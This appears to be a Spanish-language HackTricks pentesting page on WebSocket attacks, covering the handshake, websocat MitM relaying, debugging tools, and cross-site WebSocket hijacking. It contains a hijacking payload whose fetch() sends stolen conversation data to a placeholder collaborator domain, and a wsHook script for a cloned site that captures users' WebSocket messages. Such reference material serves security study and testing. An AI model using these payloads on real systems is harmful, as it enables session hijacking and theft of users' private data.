mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
185 lines
13 KiB
Markdown
185 lines
13 KiB
Markdown
# Ataques WebSocket
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## ¿Qué son los WebSockets?
|
|
|
|
Las conexiones WebSocket se inician sobre **HTTP** y suelen ser **de larga duración**. Los mensajes pueden enviarse en **cualquier dirección en cualquier momento** y no son de naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.\
|
|
Los WebSockets son particularmente útiles en situaciones donde se requieren **mensajes de baja latencia o iniciados por el servidor**, como flujos de datos financieros en tiempo real.
|
|
|
|
### ¿Cómo se establecen las conexiones WebSocket?
|
|
|
|
(Aquí encontrarás un resumen, pero una **guía más detallada sobre cómo se crea una conexión WebSocket** se puede encontrar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
|
Las conexiones WebSocket normalmente se crean utilizando JavaScript del lado del cliente como el siguiente:
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/ws");
|
|
```
|
|
El protocolo **`wss`** establece un WebSocket sobre una conexión **TLS** encriptada, mientras que el protocolo **`ws`** utiliza una conexión **no encriptada**.
|
|
|
|
Para establecer la conexión, el navegador y el servidor realizan un handshake de WebSocket sobre HTTP. El navegador emite una solicitud de handshake de WebSocket como la siguiente:
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
Si el servidor acepta la conexión, devuelve una respuesta de handshake de WebSocket como la siguiente:
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes WebSocket en ambas direcciones.
|
|
|
|
**Nota**
|
|
|
|
Varias **características** de los mensajes de **handshake** de WebSocket son dignas de mención:
|
|
|
|
* Los encabezados **`Connection`** y **`Upgrade`** en la solicitud y respuesta **indican** que se trata de un **handshake de WebSocket**.
|
|
* El encabezado de solicitud **`Sec-WebSocket-Version`** especifica la **versión del protocolo WebSocket** que el cliente desea utilizar. Típicamente es `13`.
|
|
* El encabezado de solicitud **`Sec-WebSocket-Key`** contiene un **valor aleatorio** codificado en Base64, que debe generarse aleatoriamente en cada solicitud de handshake.
|
|
* El encabezado de respuesta **`Sec-WebSocket-Accept`** contiene un hash del valor enviado en el encabezado de solicitud `Sec-WebSocket-Key`, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para prevenir respuestas engañosas resultantes de servidores mal configurados o proxies de caché.
|
|
|
|
El encabezado **`Sec-WebSocket-Key`** contiene un **valor aleatorio** para prevenir errores de proxies de caché, y **no se utiliza para propósitos de autenticación o manejo de sesiones** (_No es un token CSRF_).
|
|
|
|
### Consola de Linux
|
|
|
|
Puedes usar `websocat` para establecer una conexión cruda con un websocket.
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
O para crear un servidor websocat:
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
### Ataques MitM en conexiones websocket
|
|
|
|
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, podrías intentar un [Ataque de Spoofing ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
|
|
Una vez que el cliente intente conectarse, puedes usar:
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
### Enumeración de Websockets
|
|
|
|
Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar vulnerabilidades conocidas** en websockets de forma automática.
|
|
|
|
### Herramientas de depuración de Websockets
|
|
|
|
* **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
|
|
* La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) te permitirá gestionar mejor las comunicaciones de Websocket en Burp obteniendo el **historial**, estableciendo **reglas de intercepción**, utilizando reglas de **coincidencia y reemplazo**, utilizando **Intruder** y **AutoRepeater**.
|
|
* [**WSSiP**](https://github.com/nccgroup/wssip): Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones entre el cliente y el servidor de WebSocket y Socket.IO.
|
|
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websockets** diseñado específicamente para pentesting. Proporciona una interfaz para observar **mensajes entrantes de websockets y enviar nuevos**, con un marco de trabajo fácil de usar para **automatizar** esta comunicación.
|
|
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
|
|
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
|
|
|
|
## Laboratorio de Websockets
|
|
|
|
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
|
|
|
|
## Secuestro de WebSocket entre sitios (CSWSH)
|
|
|
|
También conocido como _secuestro de WebSocket de origen cruzado_.\
|
|
**Es un** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **en un apretón de manos de WebSocket.**
|
|
|
|
Surge cuando la **solicitud de apretón de manos de WebSocket** depende únicamente de **cookies HTTP** para el manejo de sesiones y **no contiene tokens CSRF** u otros valores impredecibles.\
|
|
Un atacante puede crear una **página web maliciosa** en su propio dominio que **establece una conexión de WebSocket entre sitios** con la aplicación vulnerable. La aplicación manejará la conexión en el **contexto de la sesión del usuario víctima** con la aplicación.
|
|
|
|
### Ataque Simple
|
|
|
|
Ten en cuenta que al **establecer** una conexión **websocket** la **cookie** se **envía** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
|
|
|
|
Entonces, si por **ejemplo** el **servidor de websocket** **envía de vuelta el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** se **enviará** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
### Cross Origin + Cookie con un subdominio diferente
|
|
|
|
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
|
|
|
|
### Robando datos del usuario
|
|
|
|
Copia la aplicación web que quieres suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
|
|
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella podrás robar los mensajes enviados y recibidos a través de websocket:
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
## Condiciones de Carrera
|
|
|
|
Las Condiciones de Carrera en WebSockets también son posibles, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
|
|
|
|
## Otras vulnerabilidades
|
|
|
|
Como los Web Sockets son un mecanismo para **enviar datos al lado del servidor y del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vuln común en la web usando la entrada de un usuario desde un websocket.**
|
|
|
|
## **WebSocket Smuggling**
|
|
|
|
Esta vulnerabilidad podría permitirte **burlar las restricciones de los proxies inversos** haciéndoles creer que se estableció una **comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información consulta la siguiente página:
|
|
|
|
{% content-ref url="h2c-smuggling.md" %}
|
|
[h2c-smuggling.md](h2c-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referencias
|
|
|
|
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|